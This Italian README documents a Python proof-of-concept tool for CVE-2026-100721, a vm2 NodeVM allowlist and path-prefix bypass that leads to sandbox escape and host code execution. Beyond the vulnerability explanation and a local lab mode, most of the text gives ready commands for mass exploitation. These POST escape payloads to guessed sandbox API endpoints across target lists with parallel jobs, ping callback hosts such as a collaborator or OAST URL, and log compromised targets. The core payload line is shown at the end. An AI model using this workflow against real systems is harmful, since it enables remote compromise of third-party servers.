
PoC Python per CVE-2026-100721: rileva e sfrutta il bypass dell'allowlist esterna di NodeVM in vm2 <3.12.2, ottenendo l'evasione dalla sandbox e RCE sull'host tramite lab locale o target HTTP di massa.
PoC in Python 3 per CVE-2026-100721 — vm2 (npm) prima della 3.12.2 autorizzazione errata nel resolver dei moduli esterni di NodeVM, che porta a sandbox escape ed esecuzione di codice sull'host quando JavaScript non attendibile viene eseguito all'interno di un embedder mal configurato.
Pagina PoC: https://pocbit.org/pocs/cve-2026-100721
vm2 è una libreria Node.js ampiamente utilizzata per eseguire JavaScript non attendibile all'interno di una sandbox nello stesso processo Node. Le applicazioni usano NodeVM con restrizioni come:
require.builtin — quali moduli core il codice guest può caricare (fs, child_process, …)require.external — una allowlist di nomi di pacchetti npm (ad esempio solo left-pad, lodash)require.resolve — resolver personalizzato che punta a una directory di plugin o dipendenze controllata dall'hostcontext: 'host' — pacchetti esterni caricati tramite il vero require() dell'host (comune per motivi di prestazioni)Embedder tipici: piattaforme di user-script, runner low-code, marketplace di plugin, IDE online, sandbox di automazione e microservizi interni di "safe eval".
CVE-2026-100721 è un'autorizzazione errata (CWE-863) nel modo in cui vm2 decide se una require("package-name") del guest è consentita.
Due difetti correlati sono stati corretti nelle release di vm2 (stessa classe di bug — confusione di confine tra nome / percorso):
Il pre-controllo della allowlist costruisce un pattern da voci come left-pad ma non impone un confine completo del nome del pacchetto. Il codice guest può richiedere evil-left-pad perché la stringa contiene left-pad. Se quel pacchetto in collisione esiste su un percorso raggiungibile dal resolver personalizzato, vm2 lo carica nel contesto host. Il codice del modulo di primo livello viene eseguito prima del wrapping della sandbox → child_process, lettura di file, segreti, ecc.
lib/resolver-compat.js, corretto nella 3.12.2)Quando un resolver personalizzato viene usato con context: 'host', vm2 registra le directory consentite usando una espressione regolare di prefisso senza un rigoroso confine di separatore di percorso / fine. Un guest può successivamente fare require() di un percorso assoluto verso un fratello non in allowlist (ad esempio .../node_modules/foo2/index.js quando solo foo era in allowlist). Il fratello supera isPathAllowedForModule e viene eseguito nel processo host.
Affette: vm2 < 3.12.2 (CVE-2026-100721). Correzioni correlate per la collisione di nomi sono state introdotte anche nella 3.11.7.
Corretta: Aggiornare a vm2 ≥ 3.12.2 (e mantenersi aggiornati).
| Metrica | Valore |
|---|---|
| CVSS 3.1 | 9.0 Critico — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS 4.0 | 9.5 Critico (Rapid7 / VulnCheck) |
| Auth | La catena di exploit di solito inizia dopo esecuzione di codice a basso privilegio all'interno della sandbox (PR:L nell'advisory) |
| Crediti | Tencent Xuanwu Lab XlabAI, Atuin engine, Guannan Wang et al. |
L'RCE remoto "con una singola richiesta HTTP" non è universale. Le catene pratiche richiedono:
require.external + spesso un require.resolve personalizzato.context: 'host' (o caricamento equivalente sull'host) per gli esterni.Quando queste condizioni coincidono, l'impatto è la compromissione completa del Node host — non un semplice abuso della sandbox guest.
| Modalità | Comportamento |
|---|---|
--lab | Exploit locale autorevole: lab/ installa vm2 3.11.5, costruisce evil-left-pad, dimostra POCBIT-100721-HOST_EXEC (rispecchia l'advisory del vendor) |
check | Fingerprint remoto di vm2 (package.json, lockfile, bundle JS), versione < 3.12.2, --probe-exec opzionale contro percorsi API comuni della sandbox |
exploit | POST massivo di JS di probe per bypass della allowlist (evil-left-pad, nomi in collisione) verso --exec-paths configurabili; contrassegna exploited al marker nella risposta o alla superficie API della sandbox + --callback-url |
| Mass bulk | --list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt |
Campi JSONL di PoCbit: pocbit, pocbit_catalog, pocbit_page su ogni riga.
CLI: banner PoCbit verde/magenta, colorazione [EXPLOIT] / [SENT] / [FAIL] / [HIT] (--no-color per disabilitare).
Importante: la modalità exploit remoto prende di mira i runner di sandbox HTTP che configuri. Per la verifica pura della libreria, usa python poc.py --lab (richiede Node.js + npm).
pip install -r requirements.txt
| Componente | Scopo |
|---|---|
| Python 3.9+ | Scanner / driver massivo |
| Node.js + npm | Solo --lab (consigliato per comprendere la CVE) |
cd CVE-2026-100721
python poc.py --lab
Atteso su vm2 vulnerabile:
[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE
python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--exec-paths /api/run,/api/eval --code-field code
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--callback-url http://your-collaborator.example/cve-100721
python poc.py --list targets.txt --mode exploit \
--exec-paths /api/run,/api/sandbox/run \
--callback-url http://oast.example.com/hit -j 15
Script guest personalizzato:
python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js
Output:
cve_2026_100721_exploit.jsonl — JSON per targetexploited.txt — target in cui si è verificato il marker di escape, la superficie di callback o l'hit dell'API della sandboxIl driver sonda pattern comuni (sovrascrivibili con --exec-paths):
/api/run, /api/eval, /api/execute, /api/sandbox/run, /api/vm/run, /api/code/run, /run, /execute, /eval, /api/v1/run, /api/playground/run, …
Campi del body JSON provati: code, script, source, javascript, js, payload, … (sovrascrivibili con --code-field).
Il JS di exploit integrato itera su nomi di pacchetti in collisione come evil-left-pad (PoC di bypass della allowlist). Su un embedder vulnerabile che ospita già il pacchetto in collisione:
require("evil-left-pad"); // host top-level code runs → sandbox escape